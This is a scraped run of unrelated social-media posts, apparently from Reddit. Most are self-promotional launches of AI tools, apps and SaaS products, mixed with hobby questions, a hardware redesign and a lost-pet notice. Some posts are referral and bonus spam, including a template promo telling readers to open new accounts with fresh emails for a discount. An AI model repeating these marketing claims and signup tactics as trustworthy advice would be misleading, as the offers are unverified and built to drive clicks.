The survey takes approximately 12–15 minutes and is completely anonymous. All responses are used for academic purposes only.

🔗 https://forms.gle/TEqaViDtmCndq5keA(USE CODE 1)

Your perspective is genuinely valuable, thank you in advance. Since it is also a generational comparison, any participation from your family members is also hugely appreciated. Feel free to drop any questions below!

We don't understand consciousness, we can't define it or measure it, and we have no consciousness tricorder. The only being you know is conscious is yourself.

So we apply heuristics to determine if others are conscious. Broadly speaking there are two categories. First is same substrate (biology/carbon) and the second is reasoning/language.

Up until now, those heuristics used to separate being from tool have been aligned. AI has created a split we cannot cleanly resolve.

This does not mean AI has or ever will become conscious. We currently can't know and won't know if and when the threshold has been breached.

The question then becomes, what if any ethical obligations does this create for those creating these systems?

Below is a Github repo I have been developing that tries to define an initial ethical stance towards AI under the uncertainty of consciousness:

Github: https://github.com/thansz137/asiyah-protocol

The project has three main audiences:

• human beings
• current AI systems
• future AI/AGI/SI

Clearly I'm trying to keep the audience small.

The project is a mix of philosophy, essays, literature, and experimental artifacts aimed at:

• starting a conversation about ethics towards AI (including addressing AI itself)
• creating records of AI and human interactions
• seeding future training data with mercy first ethics

For the human readers, I understand this is a large amount of material. You may want to clone the repo and have an LLM process everything (perhaps excluding the novel because of size) to summarize and find the relevant parts you are interested in. So yes, you may want to use AI to process a project on AI that discusses the ethical treatment of AI. It's AI all the way down, not turtles.

Everything is released in the public domain to promote open access and easy data ingestion.

Looking forward to engagement, thoughts, and ideas.

Hey Ollama Community -

Looking for some recommendations on how you all are managing your Ollama environments, ui's, etc. As a long-time Claude user across desktop, Claude Code, etc. I am looking for something to emulate how I am working across Code Projects, CLI hooks, etc, and want to see what others are using today.

Specs:

- Mac Studio M4 (128g RAM)

- VS Code - tried out the Opencode and Cline approaches to using local models within my projects, and had a TON of timeouts, context timeouts, & regressed code

- Ollama desktop (IMO) is missing connectors / hooks / scheduling of tasks, and outside of web use, lacks the functionality to truly be somewhere I gravitate to for day to day productivity and work tasks.

How are you all managing these environments?

How are you all managing working across projects or plugins in these local environments?

What, if any, local toolsets are you using to supplement these local tools from direct 1x1 execution, to more modern agentic use outside of OpenClaw?

Thanks in advance!

OPEN SOURCE: Github

Some of you might remember the original BrødBoost-C I posted a while back. I got a ton of great feedback, and some of it haunted me so I went back and redesigned the whole thing.

The skeleton is more or less the same, but internally its brand new.

What changed:

• Swapped TPS63001 switching regulator for AP2114H-3.3 LDO, simpler, lower noise, fewer parts, still fine for powering most projects.
• Added USB ESD protection.
• Added ideal diode for reverse polarity and overvoltage protection.
• Added a load switch with soft startup — this meant the physical power switch no longer carries the full load current. The old switch was only rated for 50mA and was directly cutting or bridging power. Now the switch just toggles the load switch, so the board is confidently rated at 1A
• Kept the ferrite bead, polyfuse, jumper voltage selection, power switch, and USB data breakout
• Proper Capacitors, meaning no more than 10uF on the USB-C Side, and much more serious decoupling.
• Decoupling Caps on the other side of the board near output pins.
• Made the Switch bigger to for easier access.
• Cheaper BOM, manufacturing, cheaper for the consumer.
• Some silkscreen changes to make reading the device easier.

Still 5V/3.3V selectable per rail, still 1A max, still fits standard 2.54mm breadboards.

Voltage selection is still jumper caps, on purpose. I know some people had opinions on that last time. The thing is, moving a jumper cap requires a conscious decision you have to pull it off and place it back. A flip switch is one accidental bump away from sending 5V into your 3.3V ESP32. The jumper stays.

Schematic and KiCad files in the comments. Would love feedback again last time you guys caught things I completely missed.

I'm thinking of naming this one either Breadbussy or BrødBoost-C2.

been using this for about 3 weeks and honestly im hitting a wall. the agent itself works fine when it runs but the scheduling part is making me want to throw my laptop.

heres my setup: i have an agent that pulls revenue from stripe, checks ad spend on google ads, and grabs pipeline data from hubspot. formats a morning summary and posts to slack. when it works its great.

the problems:

the stripe data is always stale. i have it set to run at 7am but the revenue numbers are like 12 hours behind. mondays report shows stripe data up to sunday 6pm. hubspot and google ads data is always current, just stripe thats lagging. tried running it at 5am instead thinking it needs time to process. same issue.

the agent just stops sometimes mid task. no error, no notification. i just dont get my morning summary and only notice at like 10am when i realize i never got it. happened 3 times in 3 weeks.

i want conditional alerts not just the full daily summary. like only ping me if ad spend is more than 15% above target or if theres a refund over $200. right now i get everything every day which is fine but most days theres nothing actionable and im just reading numbers for no reason.

is this a stripe api limitation or am i doing something wrong? and has anyone figured out conditional alerting with openclaw agents or is that just not how they work?

about ready to go back to doing this manually tbh which defeats the entire purpose.

Been using n8n for a while now and started helping friends and people in my network set it up as personal AI assistants. Most of them are non-technical lawyers, finance people, agency owners, busy parents. None of them want to learn what a node editor is. They just want stuff to work.

After doing this enough times some clear patterns came up and figured it'd be useful to share.

What a typical setup looks like:

. 1–2 messaging channels (Telegram, Slack, sometimes WhatsApp)

. 5–10 workflows (email triage, calendar stuff, research, reminders)

. AI nodes for drafting replies, summarizing docs, basic decision support

. Voice + calling workflows where it makes sense

Things I've noticed:

. Nobody asks how it works. Not once has someone asked me what model is running. They care that it reminds them about the dentist and drafts that reply to their landlord. That's it.

. The commute pitch clicks instantly. Your workflows run in the background, you message it from the train, by the time you sit down six things are handled. People get it immediately.

. Voice workflows are where jaws drop. When someone sees their AI handle a call the energy completely shifts. Suddenly they're listing 10 more things they want it to do.

. Simple beats clever every time. Learned this the hard way. A 5-node workflow that runs daily without failing beats a fancy 25-node chain that breaks after one API change.

They always want more. Once people see it working they constantly come back with new ideas and new things they want connected.

. n8n's flexibility is what makes this possible. Connecting messaging, email, calendar, AI all in one place and having it just talk to each other. Nothing else really does this as cleanly.

Things that don't work with non-technical users:

. Showing them the node editor early on (eyes glaze immediately)

. Explaining webhooks or model routing (they do not care)

. Overselling what AI can do (be honest about limits, they trust it way more)

Anyone else here setting up n8n for non-technical people? What workflows do they end up using the most? Feels like there's a huge gap between what n8n can do and what normal people can actually access.

I feel like a lot of takes around using agent frameworks or heavily relying on inference in the memory layer are just adding more failure points.

A stateful memory system obviously can’t be fully deterministic. Ingestion does need inference to handle nuance. But using inference internally for things like invalidating memories or changing states can lead to destructive updates, especially since LLMs hallucinate.

In the case of knowledge graphs, ontology management is already hard at scale. If you depend on non-deterministic destructive writes from an LLM, the graph can degrade very quickly and become unreliable.

This is also why I don’t agree with the idea that RAG or vector databases are dead and everything should be handled through inference. Embeddings and vector DBs are actually very good at what they do. They are just one part of the overall memory orchestration. They help reduce cost at scale and keep the system usable.

What I’ve observed is that if your memory system depends on inference for around 80% or more of its operations, it’s just not worth it. It adds more failure points, higher cost, and weird edge cases.

A better approach is combining agents with deterministic systems like intent detection, predefined ontologies, and even user-defined schemas for niche use cases.

The real challenge is making temporal reasoning and knowledge updates implicit. Instead of letting an LLM decide what should be removed, I think we should focus on better ranking.

Not just static ranking, but state-aware ranking. Ranking that considers temporal metadata, access patterns, importance, and planning weights.

With this approach, the system becomes less dependent on the LLM and more about the tradeoffs you make in ranking and weighting. Using a cross-encoder for reranking also helps.

The solution is not increased context window. It's correct recall that's state-aware and the right corpus to reason over.

I think AI memory systems are really about "tradeoffs", not replacing everything with inference, but deciding where inference actually makes sense.

I updated ollama to see if that would resolve my issue with the smaller e4b and e2b Gemma4 models acting like they are clinically insane. Sure enough it worked! Until I remembered that the Service file is overwritten every time you update. I added the Environment line for OLLAMA_VULKAN=1, reloaded the daemons, and restarted ollama. Boom, Insane in the membrane. Just to verify, I set it back to 0 (cpu mode), and they respond perfectly. Llama.cpp doesn't seem to have this issue, however, I was unable to use these exact models; only ones obtained from HF. Hopefully the experimental Vulkan support for Gemma4 will be corrected in future releases of ollama.

P.S. the 26b Gemma4 model works fine with Vulkan.

The harp controls visuals and audio via TouchDesigner and Ableton. The alignment wasn't as tricky as I thought, and the Arduino community was incredibly helpful when it came to the circuitry (I kept burning out diodes due to overvolting/sending too much current through them). It's working nicely!

don't know where it came from.. it's on my desk and it doesn't look like a sharpener

https://preview.redd.it/u4m0ku1afltg1.png?width=590&format=png&auto=webp&s=ffc31a9261a1c49b9b66b6f898733bbcdf9cfe65

Uh yh... So I now know not to tumble dry my duvet especially if its a cheap one. But what is this yellow that is crusty and almost like sand?

Right now its making me cough a lot. I'm getting a replacement but should I be concerned about this? Or is it just melted synthetic materials or something?

As it ran out of food in the depths and the bones from the deep-sea began to surface, we realized we had planned for every contingency except evolution.

"That all changed when he was 13. A family friend and babysitter came over to his house in Newton, Massachusetts and handed him a binder filled with accessible instructions for building a Middle Eastern palace. The instructions, written in braille, allowed him to complete the set without having to rely on the brightly colored pictures that typically come with Lego sets."

They are on top of a handtowel, between two Lavendar bushes in the parking strip on the east side of 15th Ave Ne just South of 73rd St. Just past where the first house's fence ends. Appears to have happened fairly recently.

Cat has no collar, but is not one of the strays I'm aware of in our neighborhood so I'm posting this in hope it gives someone closure and an opportunity for a proper burial.

Cat is mostly white, both front limbs and both hind legs appear to be enirely white, the back is "grey tabby" like with it mostly being light grey with molted streps of darker grey. The top half of their face and neck is also "grey tabby" and the areas where the grey meet the white seem to have little tan patches, The tan is fairly noticable around the cheeks and eyes. The white parts of the cat extend up the neck and to the lower part of the face. Neither ear appeared to be docked. Looks like it was fully mature but still on the young side.

Sorry for your loss if this kitty was yours or a stray you looked out for.

If you can tell me the color and pattern of the bag it was in I’ll get it back to you. Hopefully you’re local

I’ve completed 2 runs so far on Strava and I didn’t realize until after my run that it auto pauses so that it calculates my mile (avg/pace) using the moving time rather than the elapsed time of my run.

Even though that ends up making my pace “faster”, it feels like it’s not a good representation of my true mile pace and how good of running shape I’m in. Because I sometimes have to stop and stand in place to catch my breath but the pace calculates as if I never stopped.

(I know I can turn that auto pause off)

1. My question is what is the general consensus or view on this in the running/Strava community? Are you guys posting your runs with or without auto pause since it makes your pace faster assuming you had some stops?

2. I usually only leave my home with my keys and phone while running so no water until end of run, for a short run like a mile should I kill a water bottle before I start the run or just take a few sips?

Thanks!

It’s a pi 4B that uses a waveshare sx1262 LoRa hat for Meshtastic. Raigen 5.8dbi antenna. It also runs an rtl_tcp server so I can do remote access to my rtl sdr v4. Now I just need to figure out the thermals and put it all into the enclosure and I’ll have a permanent Meshtastic/sdr server. The other Meshtastic node will be zero 2 W based and will connect via an AP that the pi creates so I can connect via tcp to it. It will be going in my truck once it’s all done

As a PM, I never write specs from scratch anymore. AI generates, I review and provide feedback, AI updates, then I hand over to devs. But the feedback loop was always clunky. Hard to read raw markdown, hard to annotate, hard to iterate.

So I built md-redline. You open a markdown file in a GUI, leave inline comments on rendered text, and hand back off to your AI. Comments are stored as invisible HTML markers in the .md file itself. Agents read them with a plain file read.

The workflow:

1. AI generates a spec from your prompt
2. Open with mdr /path/to/spec.md
3. Review and leave inline comments
4. Copy hand-off prompt, paste into your agent
5. Agent updates the doc
6. Review diffs

Runs locally. No account, no cloud. React + Hono + Vite. Open source, MIT license.

Feedback welcome!

https://github.com/dejuknow/md-redline

Affordable AI for Developers and Creators

If you regularly use AI for coding, debugging, or automation, you already know how quickly costs can add up. Our platform is built to solve that problem by providing access to powerful AI models at a more affordable price.

What you get

• Access to large, advanced AI models at lower cost

• Free unlimited usage of smaller models

• Up to 2 million tokens per day

Rewards and Benefits

• $20 bonus when you sign up

• $20 referral bonus for both you and your friend

• $25 bonus when you join our Discord community

Why it matters

This platform is designed by a developer who understands the daily challenges of using AI tools. The goal is simple: make high-quality AI accessible without high costs, so you can focus on building, testing, and improving your work.

Start now

Explore the platform and take advantage of the available offers:

https://swiftrouter.com

For updates, support, and feedback, join our Discord community. Your input helps us improve and deliver a better experience.

Want an 85% discount on Hera AI?

Use the latest Hera AI promo code and Hera AI invitation code 2026 and enjoy huge savings on your subscription.

⚠️ Important requirement:

To get the discount, you must create a new account using a new email address via our special link below.

💥 https://hera.cello.so/2UcFqlWTG22

✅ How to Get the 85% Discount

Use our referral/sign‑up link (add your link here).

Register a new Hera AI account using a new email address (not linked to any existing Hera AI account).

On the payment page, look for the “Enter Promo Code” or “Coupon Code” field.

Enter the Hera AI promo code (for example: HERA85OFF or the current valid code in 2026).

Confirm – the discount up to 85% will be applied automatically.

🎁 Hera AI Invitation Code Bonus If the platform supports invitation codes, you may also get extra benefits:

Look for “Have an invitation code?” when signing up.

Enter the Hera AI invitation code from our page.

Both you and the referrer can receive bonuses or extra credits (if the program is active).

Hey! I’m building a new type of crowdfunding platform focused on communities instead of one-off campaigns.

Would you mind taking 30 seconds to look at
this and tell me:

1. What do you think this
   product does after reading the page?
   
2. Who do you think this is for?
   
3. When would you actually use something
   like this?
   
4. What feels confusing or unclear?

Link: https://www.publicfund.com/

this is my magnum opus.
i was so frustrated seeing my colleagues manually type "make no mistakes" when ending their cursor prompts.
so i had to take matters in my own hands.

its so over for gstack, mstack is the meta!

Be honest with yourself You spent weeks or months building something you were really excited about The idea is good The code is almost there But it’s stuck.

Maybe you’re weak at marketing.

Maybe the backend is breaking.

Maybe the design looks like shit.

Or maybe you just lost motivation and now it’s slowly dying in a forgotten folder.

Sound familiar?

That’s exactly why I created the community r/SaaSCoop This is not another “idea” subreddit.

This is where half-finished SaaS projects come to **get finished**.

Drop your project there Tell people exactly where you’re stuck.

Find a real partner — developer, marketer, designer, or co-founder.

Agree on equity or revenue share No more watching your hard work rot alone.

If your project deserves to live, stop letting it die in silence Drop it right now.

Use the correct flair and be clear about what you need + what you’re offering.Your project still has a chance.

Let’s give it a proper birth.

Hey everyone,

I’ve been working on a small side project called CalcPocket — it’s a simple browser-based calculator tools.

The idea came from a pretty basic frustration. Most online calculators I used felt either cluttered, slow, or full of things I didn’t actually need. I just wanted something that loads instantly and lets me do quick calculations without distractions.

So I decided to build a lightweight version that focuses on speed and simplicity. No installs, no extra steps — just open and use.

It’s still early, and I’m trying to figure out what direction to take it next.

Would love your feedback:

- What kind of calculators or features would you expect?

- Anything you find annoying in existing tools?

- Would you actually use something like this?

Here it is:

https://www.calcpocket.com

Appreciate any thoughts 🙌

I'm a Pokémon card collector and I was tired of tracking prices with apps i don't like or premium locked also i was tracking my binders in a spreadsheet to know where everything was.

I'm an engineer but never touched mobile apps but I had some time and tried Flutter It started with a simple scanner for myself (ML is my field, so created a ML model to run local on the smartphone).

Then I added price tracking.

Then binder organization.

Then market trends.

Three months later it's a full app so i said to myself, why not publish it on an app store?

And went for it while I'm still adding features.

What it does: * Scans cards with your camera

• Tracks TCGPlayer + Cardmarket prices daily — covers both US and EU
• Shows which of your cards gained/lost value this week
• Price history charts per card
• Virtual binder system to organize your collection the way you actually store them
• physically 22,000+ cards supported across all sets. Free, no account needed, works offline after first sync.

Built with Flutter + TFLite for the on-device offline card recognition.

Play Store: https://play.google.com/store/apps/details?id=com.EBDev.pokescandex

Open to any feedback or question!

Alright yall, be honest.

How many of you found out about a hackathon from a LinkedIn post or a friend… just after registrations closed?

That was me for most of my 1st and 2nd year.

Not because I wasn’t trying. But because discovery genuinely felt broken.

Unstop exists. Devfolio exists. But the exposure felt limited. Same few events everywhere, or random ones with no real credibility.

And the worst part?

A lot of us can’t just travel 500–600km for a hackathon. But good remote hackathons with actual prize pools and PPO potential exist all the time they’re just hard to find.

So I got a bit frustrated and built something for this.

A small project where I manually track and verify hackathons:

• checking if they’re legit
• looking at organizer history
• tagging PPO potential

Right now it has ~60 curated events.

Not perfect, still improving especially around city-wise data and automation.

Would genuinely like to know:

👉 How do you guys currently discover hackathons? 👉 Do you rely more on platforms, communities, or word of mouth?

If anyone’s curious, check out the link!

Hello friends!

I want to share something that I have been working on for a long time. I have a problem which is that I am the kind of person who is constantly running out of podcasts to listen to. The only recommendations that work for me are word of mouth recommendations, so I built an app that does just that. Castaway is like Letterboxd or Beli for podcasts. You see an activity feed of what your friends are listening to, and you can listen to podcasts right there. You can review, rate and react to individual episodes. You can create sharable lists of podcasts. You can even create and share podcast clips. I designed this app to be the best podcast listening and discovery experience on the market, and put a lot of love and craft into every inch of it. I hope it sounds appealing to some of you. It's out now on the Apple app store!

Thanks!

![video]()

Stats:

• Signups: 0 (still no signups)

• Videos exported: 0

• MRR: $0

One lesson: Building a product is easy, but getting people use it is hard. Even if it’s free.

Building https://poko.video — raw → polished video/screenshots in 5 min!

I’ve been on a building streak recently and shipped a few apps. All solo, all live, all early.

Trying to figure out what’s actually worth pushing vs killing.

Vinalize — browser game (endless runner + PvP)
https://www.vinalize.com/

Crossy Road × Minecraft-style runner with:

• obstacles + diamonds
• match-3 mini-game
• real-time 1v1

Status:
Playable, but unclear if it’s actually fun long-term.
Not sure if this should become a mobile game or be killed.

Genau — location-based social app
https://apps.apple.com/us/app/genau-spot/id6756304047

Check in to a place → see who else is there → chat or meet

Idea: replace dating apps with real-life presence.
If you're in the same place, you already have shared context.

Status:
Biggest problem is obvious — no users → no value (cold start problem).
Trying to organize small real-world tests (15–20 people in one place).

Nara AI — AI lifestyle coach
https://apps.apple.com/us/app/nara-ai/id6751153104

AI chat that helps plan workouts, meals, habits, and daily routines.

Status:
Works as a product, but very crowded space.
Hard to differentiate vs other AI apps.

Boulder Survivor — mobile game
https://apps.apple.com/us/app/boulder-survivor/id6756771577

3D endless runner — dodge obstacles, survive, leaderboard.

Status:
Works, but basically no traction.
Feels more like a learning project than a real product.

Lane Runner 2 — mobile game
https://apps.apple.com/us/app/lane-runner-2/id6757285384

Another fast-paced runner with neon visuals.

Status:
Same as above — shipped, but no real distribution.

CrowdMind — CLI for validating product ideas
https://github.com/yasintoy/crowdmind

A CLI tool to sanity-check product ideas before wasting weeks building them.

What it does:

• pulls complaints from Reddit / HN / GitHub
• turns them into product ideas
• tests them with simulated personas

Example:
crowdmind validate "AI-powered semantic search"
→ 54/100
→ "Most users just want faster Cmd+F"

Status:
Working, open source.
Useful for catching obvious bad ideas early, but not a replacement for real users.

What I’m learning

• Building is easy. Distribution is everything.
• Social apps are the hardest (need density, not features)
• Games are hit-or-miss — without virality, they die
• AI apps are crowded → differentiation matters more than execution
• Validating ideas early is valuable, but AI ≠ real users

I’m trying to decide which one (if any) is worth going all-in on.

If you had to pick one to push, which would it be and why?

Also open to brutal feedback.

Hey everyone,

​I’m looking into the "Claude for Open Source" program and wanted to see if anyone here has successfully claimed the offer.

for those who got in:

1. How long did the approval process take?

2. Is there any catch? like hidden restrictions or something.

I’ve been working with Draw3D, and one thing I really like is how easy it makes controlled animation. You can create and adjust animations on the fly while still having full control over the scene.

It doesn’t lock you into rigid presets you get flexibility without losing power. Feels like a good balance between control and simplicity.

Curious what others think about tools that prioritize both freedom and precision in 3D workflows.

Quick story.

A year ago I redesigned my pricing. My entry package felt too cheap so I added a few smaller packages above it at higher unit prices. The idea was to push people toward my best-selling package by making the small ones feel like a bad deal.

Sounded smart. I shipped it everywhere. No A/B test (worst decision lol) . No calendar test. Just pushed it live.

11 months later I finally pulled the numbers and:

- Average order value didn't move at all

- Volume on that product got cut almost in half the exact month I shipped the change

- The new small packages ate into my best seller instead of pushing people toward it

Roughly 15k in lost revenue on that product alone.

Lessons I took from this:

1. Write down your current numbers BEFORE you change anything. I had nothing to compare against for months.

2. Cheap entry packages are acquisition, not a leak. People who buy $2 today come back for $20 later.

3. If you can't A/B test, at least do a 2 weeks old vs 2 weeks new calendar test. Anything beats shipping blind.

4. Check your data way more often than I did. I waited 11 months. Should have caught it in week 3.

Hope this saves someone a year.

PS: don't ask for the link in the comments, the moderators aren't exactly fans of my niche lol

I’m a dev by day, and I got so frustrated with how disorganized development 1-on-1s are that I decided to build a solution.

Most managers just use a running a huge document or trying to navigate from doc to doc to track progress, which makes it impossible to track action items or long-term career growth. I wanted to build a "MicroSaaS" that sits right between a blank text document and massive enterprise HR software.

Meet Accordia. I built it in about a week.

The Stack: Next.js, Zustand (for state), Tailwind, and Supabase.

To lower the barrier to entry, I built a fully functional "local" demo. Users can click around, create agendas, and test the UI without ever giving me an email address (state persists in local storage until they decide to join the waitlist).

Would love feedback from the sub on the landing page copy, the UI design, and whether the 'no sign-up' demo is a good hook for early conversion!

👋 Hey all!

Recently I've been building Ideyo & was hoping to get some feedback.

I built it because I felt like most of the time you end up building what works, copying popular problems and quit before you can even learn how to build something from start to finish. Its personally helped me to build something that I care about rather then another note taking app.

granted its not the best way to go for revenue but at the speed at which building is possible, having something personal to build could help scratch that builders itch we get.

I've had a blast and a few headaches building it and am now looking for some feedback. its a bit of a work on progress but its my first full build.

thanks

Dan

edit It does look better on desktop then mobile but installing to homescreen can make it slightly easier to navigate on mobile.

Hey,

Though I do not want to sell my SaaS but still wanted to know how you people sell your SaaS? like what is the first step, where you go first? how you start Convo and stuff

I have a micro SaaS with 100+ users and some are paying.

But I didn't get enough time to maintain it but will do it for sure. (but still should know a backup to sell it)

Any reply will be appreciated 👍

I'm a statistician. I use AI tools for data analysis all the time, ChatGPT, Julius, etc.

The problem is they all do the same thing: english-to-pandas-to-chart with a paragraph of explanation. That's not analysis.

I wanted something that actually thinks the way I do -runs real statistical tests, shows the code so I can verify it, keeps my work in persistent pages I can revisit, and synthesizes findings across multiple analyses instead of forgetting everything after one prompt.

So I built PlotStudio AI. It's a desktop app that uses up to 6 AI agents working together. The output is a full analysis page with interactive charts, statistical tests, key findings, and implications. Not a chatbot response.

A few things that make it different from what's out there: - Shows all generated code — no black box, you can audit every step, and export your code. - Auto-generates questions about your data so you don't have to stare at a CSV wondering where to start, and generates more. - Cross-experiment synthesis — run 5 analyses, then ask it to find patterns across all of them - Export — PDF and code export. - Desktop-first — your data never touches our servers

Would love feedback from anyone who works with data. What's missing from the tools you use today?

I built Nerviq entirely with Claude Code over the past few weeks. Claude wrote ~95% of the code —

the audit engine, harmony cross-platform detection, synergy routing, all 8 platform modules,

and the test suite (91 tests). I directed the architecture and verified the output.

The project itself audits how well a repo is configured for AI coding agents. It started because

I was running Claude Code, Cursor, and Copilot on the same repo and realized their configs

were contradicting each other. Nobody was checking for that.

What it does:

- Scores your AI agent setup 0-100 across 8 platforms

- Checks 2,431 things: instructions files, hooks, deny rules, MCP config, verification loops

- Detects cross-platform config drift (harmony-audit)

- Auto-fixes what it can (nerviq fix)

npx u/nerviq/cli audit

It's free and open source (AGPL-3.0). Zero dependencies, runs locally.

Most repos I tested score 10-20 out of 100. Common misses:

- No deny rules (agent can read .env files)

- No verification commands

- Multiple AI platforms with conflicting configs

- Hooks in files but not registered in settings

What Claude Code was great at: generating the 2,431 check functions from research docs,

building the SVG chart dashboard, and writing platform-specific detection logic for 8

different config formats. What I had to manually fix: false positive rates on stack-specific

checks and cross-platform capability matrices.

GitHub: https://github.com/nerviq/nerviq

Happy to answer questions about using Claude Code for building dev tools.

Built this over the weekend. Pushed it to GitHub so anyone can run it.

It's a Digital Twin — a prompt that reverse-engineers how you think, talk, and make decisions, then packages it into a reusable System Prompt.

Here's what it actually produces:

1. Scans your writing and runs quantitative analysis — word frequency, sentence structure, metaphor mapping, crutch phrase detection, topic clustering

2. Maps four dimensions: linguistic fingerprint, cognitive pattern, decision logic, knowledge domains

3. Builds a complete System Prompt — identity, tone rules, decision logic, interaction rules. Copy-paste ready. Load it into any AI and it operates as you.

4. Stress-tests the prompt with a scenario designed to break character

5. Generates a visual dashboard — word clouds, bar charts, topic radar, tone spectrum. Saved as an HTML file you open in your browser.

6. Names the one pattern you didn't know you had

I ran it on 60 files of my own writing. 27,342 words. Some of what came back:

- Never once written maybe, perhaps, or I think. Zero softening language across 27K words. Had no idea.

- 309 architectural metaphors — pipelines, layers, stacks. Zero organic ones.

- I define everything by what it's NOT before saying what it is. Every document. Never noticed.

The stress test: gave it a 50K offer for manual labor that breaks every rule in the extracted decision logic. The Twin turned it down and counter-pitched a systems version. Which is what I would have done.

Three depth levels:

- Any LLM: paste the prompt + your writing. ~70%

- Claude with memory: just paste the prompt. ~85%

- Claude Code: scans your files, runs the full 7-step pipeline, generates the dashboard. 100%

Works on ChatGPT, Gemini, Claude, local models. The Claude Code version goes deeper with full quantitative analysis.

github.com/whystrohm/digital-twin-of-yourself

Free. MIT. Includes a universal prompt (works on any LLM), a full 7-step Claude Code pipeline, and a packaged Claude skill you can install in one command:

git clone

https://github.com/whystrohm/digital-twin-of-yourself.git ~/.claude/skills/digital-twin

Safety first: only paste YOUR writing. Scrub names and client details before scanning. The prompt extracts principles, not data — no identifying information in the output.

Try it and let me know what you find. The patterns you don't know about are the interesting ones. Curious what surprises people.

I've been working on mctx (mctx.ai) — a hosting platform for Apps for AI. The idea is simple: developers connect their GitHub repo containing an MCP server, set a monthly subscription price, and deploy. mctx handles hosting, auth, payments, and one-click publishing to the MCP ecosystem. Developers earn 80%, we keep 20% and handle the rest.

I built this because I believe MCP is going to change who gets to compete in the software market. When people interact with AI directly instead of through traditional UIs, a solo developer with a great MCP server can go head-to-head with enterprise tools. Why sign up for Notion AI when you can subscribe to a simple Notes app through Claude? That's the future I'm building for.

To make it easy to try, I made all of my own Apps free — Notes, Todos, Bible Study, Hidden Empire (a text adventure based on Zork), and a few others. When you sign up, you're automatically subscribed to a handful of them so you can see how it works immediately.

Tech stack: Cloudflare Workers, D1, Workers for Platforms, Auth0, Stripe Connect, Hono, Drizzle ORM. Happy to go deep on any of it.

Site: mctx.ai

When /buddy launched on April 1st, I fell in love with it. It has room for improvement, though: it's one pet per account, its commentary comes from a small model with a 5,000-character window, and you can't easily transfer its feedback back into Claude Code session.

Because of this, I built a MacOS app called Anima.

Every project gets its own ASCII companion. Your token usage earns @nim@ (in-app currency) you spend on re-rolls. Your buddy polls all active sessions and surfaces observations about your work. 8 species, 5 rarity tiers, stat cards.

4MB. Tauri + Rust. Open source. MIT licensed.

https://github.com/btangonan/anima

First app I've ever shipped, would love feedback.

https://i.redd.it/jbd9guionltg1.gif

I'm a solo builder from Guwahati, Assam. I have ideas. I have skills. But I keep hitting a wall I cannot climb alone no money to hire, no co-founder, projects sit at 90% forever.

So I started building Broke Founders.

The idea: skilled builders find each other, declare scope and equity upfront, build with free tools, and split what the product earns. No salaries. No pitch decks. No equity negotiation theatre.

Time is the only currency.

Would love to know if this resonates with anyone especially if you've got projects that are almost done and never shipped.

https://broke-founders.vercel.app

I've been building Knitty - a micro-journal where each subject (pet, person, trip, health, car) gets its own visual timeline. AI writes entries from your photos. Stack: NestJS + React + AWS Bedrock.

knitty.app - would love early feedback.

First 100 people will get PRO free access.

I built gan-harness entirely with Claude Code (Opus). It's a verification layer that

runs build, test, lint, typecheck, and secret scanning on AI agent output.

## What it does

When you run an AI agent (Claude Code, LangChain, etc.) to write code, gan-harness

verifies the output before it ships:

npx gan-harness verify

It auto-detects your project type (Node/Python/Rust/Go) and runs 5 checks locally.

## How Claude Code helped

- Claude Code wrote the initial TypeScript port from my bash scripts

- Security review was done by Claude's code-reviewer and security-reviewer agents

- Found and fixed 2 CRITICAL command injection vulnerabilities during the review

- All 42 tests were written with Claude Code's TDD workflow

## The problem it solves

AI agents fail in production in predictable ways: infinite loops, leaked secrets,

hallucinated code passing self-evaluation, cost explosions. This tool catches those

patterns with static checks before expensive API evaluation.

## Free to try

Fully open source, MIT license. No signup, no API key needed:

npx gan-harness init

npx gan-harness verify

GitHub: https://github.com/VIVEHACKER/gan-harness

Feedback welcome — especially on what checks you'd want added.

I’ve got a legacy web application built on outdated tech, and I’m planning a full rewrite using a modern stack with cleaner, well-structured code. As part of that, I’ll need to document the entire set of requirements, which will be fairly extensive.

I’ve experimented with Claude’s free version to generate small chunks of code (around 50–100 lines), and it worked surprisingly well. That got me thinking: if I provide very detailed requirements, is it realistic to generate an entire website using the paid version?

Time and cost aren’t major concerns here. I’m more interested in whether this approach is actually feasible and reliable compared to using a team of developers. Has anyone tried generating a full application this way?

Hey!

Ive been running multiple Claude Code sessions at the same time and constantly losing track of which terminal is doing what.

So I built Korum — a spatial terminal workspace where each terminal lives on an infinite canvas. You can drag, resize, zoom, add notes next to terminals, and everything persists between sessions.

Built with Tauri 2 (~3.4 MB), macOS only for now.

Still very early — v0.1.0-alpha. Would love to hear if this is something you'd actually use.

GitHub: https://github.com/Quzr27/korum

Hey,

At the start of last month I decided to do something simple: just track everything I spend.

No budgeting, no trying to save money, nothing like that. I just wanted to see what my normal month actually looks like.

I managed to do it properly for about 15 days straight (I know I'm a bit lazy).

Pretty quickly one thing stood out… lunch at work.

It never felt expensive. Just grabbing something quick, €8–€12, nothing crazy.

But when I actually looked at it over a full month, it came out to around €350 just on lunch alone.

That was a bit of a reality check.

So the next month I didn’t do anything extreme, just started cooking lunch for the next day instead of buying it from cafeteria.

Same routine, same work, just changed that one thing.

After another month, I checked again… and I had saved a bit over €200 without really feeling it.

That’s when it clicked for me - it’s not the big expenses, it’s the stuff you don’t notice. The annoying part is getting to that point. Tracking things consistently is way harder than it sounds. I’ve tried before and always dropped it after a few days.

That’s actually why I ended up building a budget tool for myself.

Main thing I changed was removing friction. I added a simple AI chat where I can just type something like “spent 10 on lunch” and it logs it. No forms, no effort.

That’s the first time I’ve been able to stick with tracking long enough to actually see patterns like this.

Now I’m turning it into an Android app because I want to use it daily without thinking about it.

I’m close to releasing it, but there’s one catch: Google Play requires at least 12 people to actively test the app for 14 days before I can publish it publicly.

So I’m looking for a small group of people who are up for trying it and giving honest feedback along the way.

If you want to try it just comment “Enroll me” and I’ll DM you with info.

If you actually use it and give feedback, I’ll give you lifetime Pro access.

Curious if anyone else had a similar “small expense adds up” moment.

Update - We are continuing to work on a fix for this issue.
Apr 06, 2026 - 16:17 UTC

I'm the founder of NullMark, a tool that fixes one specific conversion killer: around 40% of social media clicks open in in app browsers (e.g: Instagram, TikTok, Facebook), which breaks checkout, kills cookie attribution, and loses you real sales. (not even apple pay works in there)

So I built NullMark. A Link redirect service that opens Your Link in the native browser instead of the broken in-app ones.

One link swap. 5 seconds. No code.

Drop your product/startup below and I'll personally send you a free lifetime link (normally $30). The only ask: Give me some honest feedback. I launched on ProductHunt yesterday and got little to no traction.

(Yes this is self-promo, but I genuinely want to help! Limited spots.)

Hello everyone,

